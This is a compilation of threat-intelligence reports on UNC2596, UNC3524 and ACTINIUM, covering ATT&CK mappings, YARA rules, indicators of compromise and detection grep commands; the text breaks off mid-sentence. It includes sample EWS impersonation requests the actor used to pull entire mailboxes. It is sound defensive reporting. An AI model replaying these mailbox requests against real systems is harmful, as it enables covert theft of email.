+Shared Modules
+T1569.002:
+Service Execution
+T1021.001:
+Remote Desktop Protocol
+T1021.004:
+T1555.003:
+Credentials from Web Browsers
+Table 2: MITRE ATT&CK Framework
+8/12
+Mandiant Security Validation
+In addition to previously released Actions, the Mandiant Security Validation (Validation) Behavior Research Team (BRT) has created
+VHR20220223, which will also be released today, for tactics associated with UNC2596.
+A102-561, Malicious File Transfer - TERMITE, Download, Variant #3
+A102-560, Malicious File Transfer - TERMITE, Download, Variant #4
+A102-559, Command and Control - TERMITE, DNS Query, Variant #1
+A102-558, Malicious File Transfer - WEDGECUT, Download, Variant #1
+A102-557, Malicious File Transfer - TERMITE, Download, Variant #2
+A102-556, Malicious File Transfer - TERMITE, Download, Variant #1
+A102-555, Malicious File Transfer - BURNTCIGAR, Download, Variant #4
+A102-554, Malicious File Transfer - BURNTCIGAR, Download, Variant #3
+A102-553, Malicious File Transfer - BURNTCIGAR, Download, Variant #2
+A102-552, Malicious File Transfer - BURNTCIGAR, Download, Variant #1
+A102-572, Malicious File Transfer - BUGHATCH, Download, Variant #4
+A102-551, Malicious File Transfer - BUGHATCH, Download, Variant #3
+A102-550, Malicious File Transfer - BUGHATCH, Download, Variant #2
+A102-549, Malicious File Transfer - BUGHATCH, Download, Variant #1
+A101-830 Command and Control - COLDDRAW, DNS Query
+A101-831 Malicious File Transfer - COLDDRAW, Download, Variant #2
+A101-832 Malicious File Transfer - COLDDRAW, Download, Variant #3
+A101-833 Malicious File Transfer - COLDDRAW, Download, Variant #4
+A101-834 Malicious File Transfer - COLDDRAW, Download, Variant #5
+A101-835 Malicious File Transfer - COLDDRAW, Download, Variant #6
+A104-800 Protected Theater - COLDDRAW, Execution
+A151-079 Malicious File Transfer - COLDDRAW, Download, Variant #1
+A100-308 Malicious File Transfer - CHANITOR, Download
+A100-309 Command and Control - CHANITOR, Post System Info
+A150-008 Command and Control - CHANITOR, Check-in and Response
+A150-047 Malicious File Transfer - CHANITOR, Download, Variant #2
+A150-306 Malicious File Transfer - CHANITOR, Download, Variant #1
+YARA Signatures
+The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through
+an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are
+intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family
+changes.
+9/12
+rule TERMITE
+meta:
+author = "Mandiant"
+strings:
+$sb1 = { E8 [4] 3D 5? E3 B6 00 7? }
+$sb2 = { 6B ?? 0A [3] 83 E9 30 }
+$si1 = "VirtualAlloc" fullword
+$ss1 = "AUTO" fullword
+condition:
+(uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B)
+and all of them
+rule FDFWJTORFQVNXQHFAH
+meta:
+author = "Mandiant"
+description = "Detecting packer or cert."
+md5 = "939ab3c9a4f8eab524053e5c98d39ec9"
+strings:
+$cert = "FDFWJTORFQVNXQHFAH"
+$s1 = "VLstuTmAlanc"
+$s2 = { 54 68 F5 73 20 70 00 00 00 00 00 00 00 BE 66 67 72 BD 68 20 63 BD 69 6E 6F C0 1F 62 65 EC 72 75 6E
+FC 6D 6E 20 50 46 53 20 B9 66 64 65 }
+$s3 = "ViGuua!Gre"
+$s4 = "6seaIdFiYdA"
+condition:
+(uint16(0) == 0x5A4D) and filesize < 2MB and ( $cert or 2 of ($s*) )
+Indicators
+MALWARE FAMILY
+Indicator
+TERMITE/BEACON
+irrislaha[.]com
+BEACON
+leptengthinete[.]com
+BEACON
+siagevewilin[.]com
+BEACON
+surnbuithe[.]com
+TERMITE
+64.235.39[.]82
+BEACON
+64.52.169[.]174
+10/12
+Suspect certificate
+144.172.83[.]13
+BEACON
+190.114.254[.]116
+BEACON
+185.153.199[.]164
+TERMITE
+45.32.229[.]66
+BEACON
+23.227.197[.]229
+Packer imphash
+2322896bcde6c37bf4a87361b576de02
+Packer cert CN
+FDFWJTORFQVNXQHFAH
+Packer cert md5
+5c00466f092b19c85873848dcd472d6f
+MALWARE
+FAMILY
+SHA1
+SHA256
+BUGHATCH
+72a60d799ae9e4f0a3443a2f96fb4896
+a304497ff076348e098310f530779002a326c264
+6d5ca42906c60caa7d3e0564b0
+BUGHATCH
+bda33efc53c202c99c1e5afb3a13b30c
+e6ea0765b9a8cd255d587b92b2a80f96fab95f15
+101b3147d404150b3c0c882ab86
+BUGHATCH
+e78ed117f74fd7441cadc3ea18814b3e
+6da8a4a32a4410742f626376cbec38986d307d5a
+9ab05651daf9e8bf3c84b14613cd
+BUGHATCH
+ba83831700a73661f99d38d7505b5646
+209ffbc8ba1e93167bca9b67e0ad3561c065595d
+79d6b1b6b1ecb446b0f49772bf4
+WEDGECUT
+c47372b368c0039a9085e2ed437ec720
+4f6ee84f59984ff11147bfff67ab6e40cd7c8525
+c443df1ddf8fd8a47af6fbfd0b597
+BURNTCIGAR
+c5e3b725080712c175840c59a37a5daa
+f347fa07f13c3809e4d2d390e1d16ff91f6dc959
+f68cea99e6887739cd82865f9b97
+BURNTCIGAR
+c9d3b29e0b7662dafc6a1839ad54a6fb
+d0bbbc1866062f9a772776be6b7ef135d6c5e002
+4306c5d152cdd86f3506f91633ef
+BURNTCIGAR
+9ca2579117916ded7ac8272b7b47bb98
+d1ef60835127e35154a04d0c7f65beee6e790e44
+aeb044d310801d546d10b24716
+BURNTCIGAR
+(launcher)
+26c09228e76764a2002ba643afeb9415
+8247880a1bad73caaeed25f670fc3dad1be0954a
+6ce206a1e1224e0a9d296d5fabff
+TERMITE
+98a2e05f4aa648b02540d2e17946da7e
+e328b5e26a04a13e80e60b4a0405512c99ddb74e
+811bb84e1e9f59279f844a040bf6
+TERMITE
+ddf2e657a89ae38f634c4a271345808b
+b73763c98523e544c0ce0da7db7142f1e039c0a2
+d1e14b5f02fb020db4e215cb5c3a
+TERMITE
+95820d16da2d9c4fbb07130639be2143
+0a3ac9b182d8f14d9bc368d0c923270eed29b950
+a722615c2ee101cde88c7f44fb2
+TERMITE
+896376ce1bbca1ed73a70341896023e0
+f1be87ee03a2fb59d51cb4ba1fe2ece8ddfb5192
+671e049f3e2f6b7851ca4e8eed2
+TERMITE
+f51c4b21445a0ece50b1f920648ed726
+7c88207ff1afe8674ba32bc20b597d833d8b594a
+ea5de5558396f66af8382afd98f2
+TERMITE
+7d4307d310ad151359b025fc5a7fca1a
+49cfcecd50fcfcd3961b9d3f8fa896212b7a9527
+ad12f38308a85c8792f2f7e1e46a
+TERMITE
+b62eec21d9443f8f66b87dd92ba34e85
+172f28f61a35716762169d63f207071adf21a54c
+9cec82bebe1637c50877ff11de5b
+TERMITE
+df0e5d91d0986fde9bc02db38eef5010
+922ca12c04b064b35fd01daadf5266b8a2764c32
+6cd25067316f8fe013792697f2f5
+11/12
+TERMITE
+46b977a0838f4317425df0f2e1076451
+39381976485fbe4719e4585f082a5252feedbcfd
+13d333d5e3c1dd6c33dfa8fc76de
+TERMITE
+8c4341a4bde2b6faa76405f57e00fc48
+4f3a1e917f67293578b7e823bca35c4dff923386
+df89d3d1f795a77eefc14f035681
+TERMITE
+d5679f47d22c7c0647038ce6f54352e4
+d9030bdbd0cb451788eaa176a032aa83cf7604c0
+728a2d5dd2bf9c707431ff68e94c
+TERMITE
+e77af544cc9d163d81e78b3c4da2eee5
+3ead9dd8c31d8cfb6cc53e96ec37bdcfdbbcce78
+7f357ab4ac225e14a6967f89f209
+TERMITE
+98b2fff45a9474d61c1bd71b7a60712b
+3b0ec4b6ad3cf558cac6b2c6e7d8024c438cfbc5
+7b2144f2b5d722a1a8a0c47a43e
+TERMITE
+9a0a2f1dc7686983843ee38d3cab448f
+363dc3cf956ab2a7188cf0e44bffd9fba766097d
+03249bf622c3ae1dbed8b14cfaa8
+TERMITE
+fb6da2aa2aca0ce2e0af22b2c3ba2668
+55b89bad1765bbf97158070fd5cbf9ea7d449e2a
+1842ddc55b4bf9c71606451d404
+COLDDRAW
+3e96efd37777cc01cabb3401485297aa
+f008e568c313b6f41406658a77313f89df07017e
+bcf0f202db47ca671ed614604079
+COLDDRAW
+73c0f0904105b4c220c25f64506ea986
+7ef1f5946b25f56a97e824602c58076e4b1c10b6
+e35593fab92606448ac4cac6cd2
+COLDDRAW
+20a04e7fc12259dfd4172f5232ed5ccf
+82f194e6baeef6eefb42f0685c49c1e6143ec850
+482b160ee2e8d94fa6e4749f77e
+Exchange
+Payload
+test.hta
+becdcaa3a4d933c13427bb40f9c1cfbb
+ee883ec4b7b7c1eba7200ee2f9f3678f67257217
+6c4b57fc995a037a0d60166dead
+BEACON
+c0e88dee5427aae6ce628b48a6d310a7
+fd4c478f1561db6a9a0d7753741486b9075986d0
+44a4ce7b5d2e154ec802a67ef14
+BEACON
+bb2a2818e2e4514507462aadea01b3d7
+8fec34209f79debcd9c03e6a3015a8e3d26336bb
+6e66caaa12c3cafd1dc3f8c63053
+BEACON
+48f8cd5e42cdf06d5a520ab66a5ae576
+0d0ac944b9c4589a998b5032d208a16e63db5817
+d8df1a4d59a0382b367fd6936cce
+12/12
+UNC3524: Eye Spy on Your Email
+mandiant.com/resources/unc3524-eye-spy-email
+Since December 2019, Mandiant has observed advanced threat actors increase their investment in tools to facilitate bulk email collection from
+victim environments, especially as it relates to their support of suspected espionage objectives. Email messages and their attachments offer a
+rich source of information about an organization, stored in a centralized location for threat actors to collect. Most email systems, whether onpremises or in the cloud, offer programmatic methods to search and access email data across an entire organization, such as eDiscovery and
+the Graph API. Mandiant has observed threat actors use these same tools to support their own collection requirements and to target the
+mailboxes of individuals in victim organizations.
+In this blog post, we introduce UNC3524, a newly discovered suspected espionage threat actor that, to date, heavily targets the emails of
+employees that focus on corporate development, mergers and acquisitions, and large corporate transactions. On the surface, their targeting of
+individuals involved in corporate transactions suggests a financial motivation; however, their ability to remain undetected for an order of
+magnitude longer than the average dwell time of 21 days in 2021, as reported in M-Trends 2022, suggests an espionage mandate. Part of the
+group
+s success at achieving such a long dwell time can be credited to their choice to install backdoors on appliances within victim
+environments that do not support security tools, such as anti-virus or endpoint protection. The high level of operational security, low malware
+footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet set this group apart and emphasize the 
+advanced
+Advanced Persistent Threat. UNC3524 also takes persistence seriously. Each time a victim environment removed their access, the group
+wasted no time re-compromising the environment with a variety of mechanisms, immediately restarting their data theft campaign. We are
+sharing the tools, tactics, and procedures used by UNC3524 to help organizations hunt for and protect against their operations.
+Attack Lifecycle
+Initial Compromise and Maintain Presence
+After gaining initial access by unknown means, UNC3524 deployed a novel backdoor tracked by Mandiant as QUIETEXIT, which is based on
+the open-source Dropbear SSH client-server software. For their long-haul remote access, UNC3524 opted to deploy QUIETEXIT on opaque
+network appliances within the victim environment; think backdoors on SAN arrays, load balancers, and wireless access point controllers. These
+kinds of devices don
+t support antivirus or endpoint detection and response tools (EDRs), subsequently leaving the underlying operating
+systems to vendors to manage. These appliances are often running older versions of BSD or CentOS and would require considerable planning
+to compile functional malware for them. By targeting trusted systems within victim environments that do not support any type of security
+tooling, UNC3524 was able to remain undetected in victim environments for at least 18 months.
+QUIETEXIT works as if the traditional client-server roles in an SSH connection were reversed. Once the client, running on a compromised
+system, establishes a TCP connection to a server, it performs the SSH server role. The QUIETEXIT component running on the threat actor
+infrastructure initiates the SSH connection and sends a password. Once the backdoor establishes a connection, the threat actor can use any of
+the options available to an SSH client, including proxying traffic via SOCKS. QUIETEXIT has no persistence mechanism; however, we have
+observed UNC3524 install a run command (rc) as well as hijack legitimate application-specific startup scripts to enable the backdoor to execute
+on system startup.
+Figure 1: How QUIETEXIT works with IoT devices
+On startup, QUIETEXIT attempts to change its name to cron, but the malware author did not implement this correctly, so it fails. During our
+incident response investigations, we recovered QUIETEXIT samples that were renamed to blend in with other legitimate files on the file
+system. In one case with an infected node of a NAS array, UNC3524 named the binary to blend in with a suite of scripts used to mount various
+filesystems to the NAS.
+When run with command line arguments -X -p <port> the malware connects to a hard-coded command and control (C2) address on the
+specific port. If this fails, it will attempt to connect to a second hard coded C2 if one is configured. The user can also specify a hostname or IP
+address on the command line in the -p argument as well, e.g. -X -p <host>:<port> .The -X command line argument is case sensitive. If the
+lower-case x option is used, then the malware will only attempt to connect to the C2 server once. If the upper-case X option is used, then the
+malware will sleep for a random number of minutes between a hard-coded time range and fork to reattempt the connection. It re-attempts the
+connection regardless of whether a connection has already been established. In our investigations we observed UNC3524 use C2 domains that
+intended to blend in with legitimate traffic originating from the infected appliances. Using the example of an infected load balancer, the C2
+domains contained strings that could plausibly relate to the device vendor and branded operating system name. This level of planning
+demonstrates that UNC3524 understands incident response processes and tried to make their C2 traffic appear as legitimate to anyone that
+might scroll through DNS or session logs.
+All QUIETEXIT C2 domains that Mandiant observed used Dynamic DNS providers. Dynamic DNS allows for threat actors to update the DNS
+records for domains in a near seamless fashion. When the C2s where inactive, the threat actor had the domains resolve to 127.0.0.1. However,
+occasionally the port numbers would change or VPS infrastructure would be used rather than compromised camera botnet. We suspected that
+when the threat actor experienced issues accessing a victim, they would troubleshoot using new infrastructure or different ports.
+In some cases, the threat actor deployed a secondary backdoor as a means of alternate access into victim environments. This alternate access
+was a REGEORG web shell previously placed on a DMZ web server. REGEORG is a web shell that creates a SOCKS proxy, keeping with
+UNC3524
+s preference for tunneling malware. Once inside the victim environment, the threat actor spent time to identify web servers in the
+victim environment and ensure they found one that was Internet accessible before copying REGEORG to it. They also took care to name the file
+so that it blended in with the application running on the compromised server. Mandiant also observed instances where UNC3542 used
+timestomping to alter the Standard Information timestamps of the REGEORG web shell to match other files in the same directory.
+UNC3542 only used these web shells when their QUIETEXIT backdoors stopped functioning and only to re-establish QUIETEXIT on another
+system in the network. Rather than use the public version of REGEORG published by Sensepost, UNC3542 used a still public but little-known
+version of the web shell that is heavily obfuscated. This allowed them to bypass common signature-based detections for REGEORG.
+Move Laterally
+Once UNC3524 established a foothold in the network they demonstrated a very low malware footprint and instead relied on built-in Windows
+protocols. During our incident response investigations, we traced most accesses to a victim appliance infected with QUIETEXIT. QUIETEXIT
+supports the full functionality of SSH, and our observation is consistent with UNC3524 using it to establish a SOCKS tunnel into the victim
+environments. By standing up a SOCKS tunnel, the threat actor effectively plugs in their machine to an ethernet jack within the victim
+network. By tunneling over SOCKS, the threat actor can execute tools to steal data from their own computer, leaving no traces of the tooling
+itself on victim computers.
+Figure 2: Tunneling through QUIETEXIT
+To perform lateral movement to systems of interest, UNC3524 used a customized version of Impacket
+s WMIEXEC. WMIEXEC uses Windows
+Management Instrumentation to establish a semi-interactive shell on a remote host. The utility provides a semi-interactive shell by writing
+command outputs to a file on the remote host and then printing the output to the terminal. The default Impacket version uses a hardcoded file
+path and filename structure for these output files, providing a detection opportunity. Mandiant has observed UNC3524 modifying the
+hardcoded file path (\\127.0.0.1\ADMIN$\debug\DEBUG.LOG) to evade basic detections for filenames such as Impacket
+s default double
+underscore files. We also observed the threat actor using the built-in reg save command to save registry hives and extract LSA secrets
+offline.
+Complete Mission
+Once UNC3524 successfully obtained privileged credentials to the victim
+s mail environment, they began making Exchange Web Services
+(EWS) API requests to either the on-premises Microsoft Exchange or Microsoft 365 Exchange Online environment. In each of the UNC3524
+victim environments, the threat actor would target a subset of mailboxes, focusing their attention on executive teams and employees that work
+in corporate development, mergers and acquisitions, or IT security staff. It
+s likely that the threat actor was targeting the IT security team as a
+method to determine if their operation had been detected.
+The methods that UNC3524 used to authenticate to the Exchange infrastructure evolved throughout the course of the intrusions; this may be a
+result of them periodically losing access due to the natural changes in corporate infrastructure or simply updating their tactics. They
+authenticated to Exchange using the username and password of targeted accounts, using accounts holding ApplicationImpersonation rights, or
+using Service Principal credentials. Each of these methods, their detections, and configuration recommendations can be found at Mandiant's
+UNC2452 Microsoft 365 Hardening Guide.
+Once authenticated to the exchange infrastructure, UNC3524 made a series of EWS API requests to extract mail items from the target mailbox.
+For each mailbox, the threat actor made a series of GetFolder and FindFolder requests that returned data describing the mailbox, such as
+the number of unread messages and sub-folders within the specified folder.
+<?xml version="1.0" encoding="utf-8"?>
+<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
+xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
+<soap:Header>
+<t:RequestServerVersion Version="Exchange2013" />
+<t:ExchangeImpersonation>
+<t:ConnectingSID>
+<t:PrimarySmtpAddress>target@victimorg.com</t:PrimarySmtpAddress>
+</t:ConnectingSID>
+</t:ExchangeImpersonation>
+</soap:Header>
+<soap:Body>
+<GetFolder xmlns="https://schemas.microsoft.com/exchange/services/2006/messages"
+xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
+<FolderShape>
+<t:BaseShape>Default</t:BaseShape>
+</FolderShape>
+<FolderIds>
+<t:DistinguishedFolderId Id="Root"/>
+</FolderIds>
+</GetFolder>
+</soap:Body>
+</soap:Envelope>
+Figure 3: Sample EWS GetFolder request
+After the enumeration of the mailbox structure, the threat actor issued a FindItem request with a Query Filter that selected all messages from
+a specific folder with a DateTimeCreated greater than a specific date. The date in the filter corresponded to the last time the threat actor
+accessed the mailbox. This meant that the threat actor would acquire all newly created items in the mailbox since the last time they had
+extracted data. This follows an approach that Mandiant has previously observed with APT29. Rather than target a mailbox using specific
+keywords, the threat actor instead extracted the entire contents over a particular date range.
+<?xml version="1.0" encoding="utf-8"?>
+<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"
+xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types"
+xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/">
+<soap:Header>
+<t:RequestServerVersion Version="Exchange2013" />
+<t:ExchangeImpersonation>
+<t:ConnectingSID>
+<t:PrimarySmtpAddress>target@victimorg.com</t:PrimarySmtpAddress>
+</t:ConnectingSID>
+</t:ExchangeImpersonation>
+</soap:Header>
+<soap:Body>
+<m:FindItem Traversal="Shallow">
+<m:ItemShape>
+<t:BaseShape>IdOnly</t:BaseShape>
+<t:AdditionalProperties>
+<t:FieldURI FieldURI="item:Subject" />
+<t:FieldURI FieldURI="item:DateTimeCreated " />
+</t:AdditionalProperties>
+</m:ItemShape>
+<m:IndexedPageItemView MaxEntriesReturned="100" Offset="0" BasePoint="Beginning" />
+<m:Restriction>
+<t:IsGreaterThan>
+<t:FieldURI FieldURI="item:DateTimeCreated " />
+<t:FieldURIOrConstant>
+<t:Constant Value="2022-01-01T00:00:00" />
+</t:FieldURIOrConstant>
+</t:IsGreaterThan>
+</m:Restriction>
+<m:SortOrder>
+<t:FieldOrder Order="Descending">
+<t:FieldURI FieldURI="item:DateTimeCreated" />
+</t:FieldOrder>
+</m:SortOrder>
+<m:ParentFolderIds>
+<t:DistinguishedFolderId Id="inbox" />
+</m:ParentFolderIds>
+</m:FindItem>
+</soap:Body>
+</soap:Envelope>
+Figure 4: Sample EWS FindItem request
+Finally, the threat actor iterated through each message identifier returned in the FindItem response and made a GetItem request. The
+threat actor set the IncludeMimeContent parameter to true for the request, which resulted in Exchange returning the message in MIME
+format. This is important because the MIME message includes both the message body and any attachments. It is worth noting that if the
+messages were encrypted using PGP, SMIME, Office 365 Message Encryption (OME), or other encryption technology, then the GetItem
+response will only contain the ciphertext or in the case of OME, a link to authenticate and view the real message.
+<?xml version="1.0" encoding="utf-8"?>
+<soap:Envelope
+xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+xmlns:xsd="http://www.w3.org/2001/XMLSchema"
+xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
+xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
+<soap:Body>
+<GetItem
+xmlns="https://schemas.microsoft.com/exchange/services/2006/messages"
+xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
+<ItemShape>
+<t:BaseShape>Default</t:BaseShape>
+<t:IncludeMimeContent>true</t:IncludeMimeContent>
+</ItemShape>
+<ItemIds>
+<t:ItemId Id="<ID OF MESSAGE>" ChangeKey="CQAAAB" />
+</ItemIds>
+</GetItem>
+</soap:Body>
+</soap:Envelope>
+Figure 5: Sample EWS GetItem request
+Operational Security and Infrastructure
+Throughout their operations, the threat actor demonstrated sophisticated operational security that we see only a small number of threat actors
+demonstrate. The threat actor evaded detection by operating from devices in the victim environment
+s blind spots, including servers running
+uncommon versions of Linux and network appliances running opaque OSes. These devices and appliances were running versions of operating
+systems that were unsupported by agent-based security tools, and often had an expected level of network traffic that allowed the attackers to
+blend in. The threat actor
+s use of the QUIETEXIT tunneler allowed them to largely live off the land, without the need to bring in additional
+tools, further reducing the opportunity for detection. This allowed UNC3524 to remain undetected in victim environments for, in some cases,
+upwards of 18 months.
+The C2 systems that Mandiant identified were primarily legacy conference room camera systems sold by LifeSize, Inc. and in one instance, a DLink IP camera. These camera systems appeared to be infected, likely with the server component of QUIETEXIT. These cameras were directly
+Internet exposed, possibly through an improper UPnP configuration, and may have been running older firmware. Mandiant suspects that
+default credentials, rather than an exploit, were the likely mechanism used to compromise these devices and form the IoT botnet used by
+UNC3524. Similar to the use of embedded network devices, UNC3524 can avoid detection by operating from compromised infrastructure
+connected directly to the public Internet such as IP cameras where typical antivirus and security monitoring may be absent.
+Detection
+UNC3524
+s use of compromised appliances makes host-based hunting and detection extremely difficult. The best opportunity for detection
+remains in network-based logging, specifically monitoring traffic at the layer 7 level. Mandiant recommends hunting for traffic tagged as the
+ application egressing environments over ports other than 22. This traffic should be relatively small, and any findings should be
+investigated. Organizations can also look for outbound SSH traffic originating from IP addresses that are unknown or not in asset management
+systems. These source systems are more likely to be appliances that aren
+t centrally managed. Finally, large volumes of network traffic
+originating from the 
+management
+ interfaces of appliances such as NAS arrays and load balancers should be investigated as suspicious as
+well.
+UNC3524 targets opaque network appliances because they are often the most unsecure and unmonitored systems in a victim environment.
+Organizations should take steps to inventory their devices that are on the network and do not support monitoring tools. Each device likely has
+vendor-specific hardening actions to take to ensure that the proper logging is enabled, and logs are forwarded to a central repository.
+Organizations can also take steps to use network access controls to limit or completely restrict egress traffic from these devices.
+For host-based hunting, Mandiant recommends hunting for QUIETEXIT on devices using the provided grep commands. Most appliances that
+provide shell access should have the grep binary available.
+Find QUIETEXIT hard-coded byte string using grep:
+grep "\x48\x8b\x3c\xd3\x4c\x89\xe1\xf2\xae" -rs /
+Find QUIETEXIT by looking for the hard-coded password value:
+grep '\xDD\xE5\xD5\x97\x20\x53\x27\xBF\xF0\xA2\xBA\xCD\x96\x35\x9A\xAD\x1C\x75\xEB\x47' -rs /
+Find QUIETEXIT persistence mechanisms in the appliance
+s rc.local directory by looking for the command line arguments:
+grep -e " -[Xx] -p [[:digit:]{2,6}]" -rs /etc
+Remediation and Hardening
+Mandiant has published remediation and hardening strategies for Microsoft 365.
+Attribution
+The methodologies Mandiant observed during UNC3524 intrusions overlapped with techniques used by multiple Russia-based espionage
+threat actors including both EWS impersonation and SPN credential addition. Mandiant has only observed APT29 performing SPN credential
+addition; however, this technique has been reported on publicly since early 2019. The NSA has previously reported automated password
+spraying using Kubernetes, Exchange Exploitation, and REGEORG as associated with APT28. While the activity reported by the NSA used TOR
+and commercial VPNs, UNC3524 primarily used compromised internet facing devices. One interesting aspect of UNC3524
+s use of REGEORG
+was that it matched identically with the version publicly reported by the NSA as used by APT28. At the time of writing, Mandiant cannot
+conclusively link UNC3524 to an existing group currently tracked by Mandiant.
+Acknowledgements
+We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enabled this
+research. Thanks to Kirstie Failey, Jake Nicastro, John Wolfram, Sarah Hawley and Nick Richard for technical review, and Ryan Hall and
+Alyssa Rahman for research contributions.
+MITRE ATT&CK
+Mandiant has observed UNC3524 use the following techniques.
+ATT&CK Tactic Category
+Techniques
+Defense Evasion
+T1027: Obfuscated Files or Information
+Discovery
+T1012: Query Registry
+T1016: System Network Configuration Discovery
+T1049: System Network Connections Discovery
+T1057: Process Discovery
+T1518: Software Discovery
+Credential Access
+T1003.004: LSA Secrets
+T1003.006: DCSync
+T1111: Two-Factor Authentication Interception
+Collection
+T1114: Email Collection
+T1114.002: Remote Email Collection
+Lateral Movement
+T1021.004: SSH
+Persistence
+T1037.004: RC Scripts
+T1098.001: Additional Cloud Credentials
+T1505.003: Web Shell
+Command and Control
+T1071: Application Layer Protocol
+T1090.003: Multi-hop Proxy
+T1095: Non-Application Layer Protocol
+T1572: Protocol Tunneling
+T1573.002: Asymmetric Cryptography
+Resource Development
+T1583.003: Virtual Private Server
+T1584: Compromise Infrastructure
+T1608.003: Install Digital Certificate
+Execution
+T1059.001: PowerShell
+T1059.003: Windows Command Shell
+YARA Signatures
+Note: These rules are designed to broadly capture suspicious files and are not designed to detect a particular malware or threat.
+rule QUIETEXIT_strings
+meta:
+author = "Mandiant"
+date_created = "2022-01-13"
+date_modified = "2022-01-13"
+rev = 1
+strings:
+$s1 = "auth-agent@openssh.com"
+$s2 = "auth-%.8x-%d"
+$s3 = "Child connection from %s:%s"
+$s4 = "Compiled without normal mode, can't run without -i"
+$s5 = "cancel-tcpip-forward"
+$s6 = "dropbear_prng"
+$s7 = "cron"
+condition:
+uint32be(0) == 0x7F454C46 and filesize < 2MB and all of them
+rule REGEORG_Tuneller_generic
+meta:
+author = "Mandiant"
+date_created = "2021-12-20"
+date_modified = "2021-12-20"
+md5 = "ba22992ce835dadcd06bff4ab7b162f9"
+strings:
+$s1 = "System.Net.IPEndPoint"
+$s2 = "Response.AddHeader"
+$s3 = "Request.InputStream.Read"
+$s4 = "Request.Headers.Get"
+$s5 = "Response.Write"
+$s6 = "System.Buffer.BlockCopy"
+$s7 = "Response.BinaryWrite"
+$s8 = "SocketException soex"
+condition:
+filesize < 1MB and 7 of them
+rule UNC3524_sha1
+meta:
+author = "Mandiant"
+date_created = "2022-01-19"
+date_modified = "2022-01-19"
+strings:
+$h1 = { DD E5 D5 97 20 53 27 BF F0 A2 BA CD 96 35 9A AD 1C 75 EB 47 }
+condition:
+uint32be(0) == 0x7F454C46 and filesize < 10MB and all of them
+Indicators
+MALWARE FAMILY
+Indicator
+QUIETEXIT Dynamic DNS
+cloudns.asia
+dynu.net
+mywire.org
+webredirect.org
+MALWARE
+FAMILY
+SHA1
+SHA256
+REGEORG
+GitHub
+version
+ba22992ce835dadcd06bff4ab7b162f9
+3d4dcc859c6ca7e5b36483ad84c9ceef34973f9a
+7b5e3c1c06d82b3e7309C258dfbd4bfcd
+ACTINIUM targets Ukrainian organizations
+microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations
+February 4, 2022
+The Microsoft Threat Intelligence Center (MSTIC) is sharing information on a threat group named ACTINIUM, which has
+been operational for almost a decade and has consistently pursued access to organizations in Ukraine or entities related to
+Ukrainian affairs. MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as
+Gamaredon.
+In the last six months, MSTIC has observed ACTINIUM targeting organizations in Ukraine spanning government, military,
+non-government organizations (NGO), judiciary, law enforcement, and non-profit, with the primary intent of exfiltrating
+sensitive information, maintaining access, and using acquired access to move laterally into related organizations. MSTIC has
+observed ACTINIUM operating out of Crimea with objectives consistent with cyber espionage. The Ukrainian government
+has publicly attributed this group to the Russian Federal Security Service (FSB).
+Since October 2021, ACTINIUM has targeted or compromised accounts at organizations critical to emergency response and
+ensuring the security of Ukrainian territory, as well as organizations that would be involved in coordinating the distribution
+of international and humanitarian aid to Ukraine in a crisis. As with any observed nation-state actor activity, Microsoft
+directly notifies customers of online services that have been targeted or compromised, providing them with the information
+they need to secure their accounts. Microsoft has shared this information with Ukrainian authorities.
+ACTINIUM represents a unique set of activities separate from the destructive malware attacks by DEV-0586 described in an
+earlier blog post. As of this writing, MSTIC has not found any indicators correlating these two actors or their operations. The
+observed ACTINIUM activities detailed in this blog have been limited only to organizations within Ukraine. We have not seen
+this actor using any unpatched vulnerabilities in Microsoft products or services.
+Given the geopolitical situation and the scale of observed activity, MSTIC is prioritizing sharing our knowledge of ACTINIUM
+tactics, techniques, and procedures (TTPs), along with a significant number of indicators of compromise (IOCs) from our
+extensive analysis. Our goal is to give organizations the latest intelligence to guide investigations into potential attacks and
+information to implement proactive protections against future attempts.
+Activity description
+Microsoft has observed a repeated set of techniques and procedures throughout operations by ACTINIUM, with several
+significant elements that we believe are important to understanding these activities. It
+s important to note that ACTINIUM
+tactics are constantly evolving; the activities described in this blog are some of the most consistent and notable observations
+by Microsoft, but these are not all-encompassing of actor TTPs.
+Phishing using remote templates
+One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ
+remote templates. Remote template injection refers to the method of causing a document to load a remote document
+template that contains the malicious code, in this case, macros. Delivery using remote template injection ensures that
+malicious content is only loaded when required (for example, when the user opens the document). This helps attackers to
+evade static detections, for example, by systems that scan attachments for malicious content. Having the malicious macro
+hosted remotely also allows an attacker to control when and how the malicious component is delivered, further evading
+detection by preventing automated systems from obtaining and analyzing the malicious component.
+MSTIC has observed a range of email phishing lures used by ACTINIUM, including those that impersonate and masquerade
+as legitimate organizations, using benign attachments to establish trust and familiarity with the target.
+1/18
+This phishing email from ACTINIUM uses the sender domain who-int[.]info to masquerade as the legitimate who.int
+domain, assessed to be impersonating the World Health Organization
+Within the body of phishing messages, ACTINIUM has been observed to insert web bugs, which are small external image
+references that enable the actor to track when a message has been opened and rendered. These web bugs are not malicious by
+themselves but may indicate that the email is intended for malicious use. Here
+s an example of a web bug used by
+ACTINIUM:
+ACTINIUM
+s lure documents appear to be legitimate and vary in style and content. For example, the lure document below
+included a remote template at the following URL: hxxp://usa-national[.]info/USA/sensible[.]dot. While a domain was used
+in this instance, links with static IP addresses have also been used.
+2/18
+This URL and the related lure .dot document from ACTINIUM is responsible for loading the malicious remote template. This document
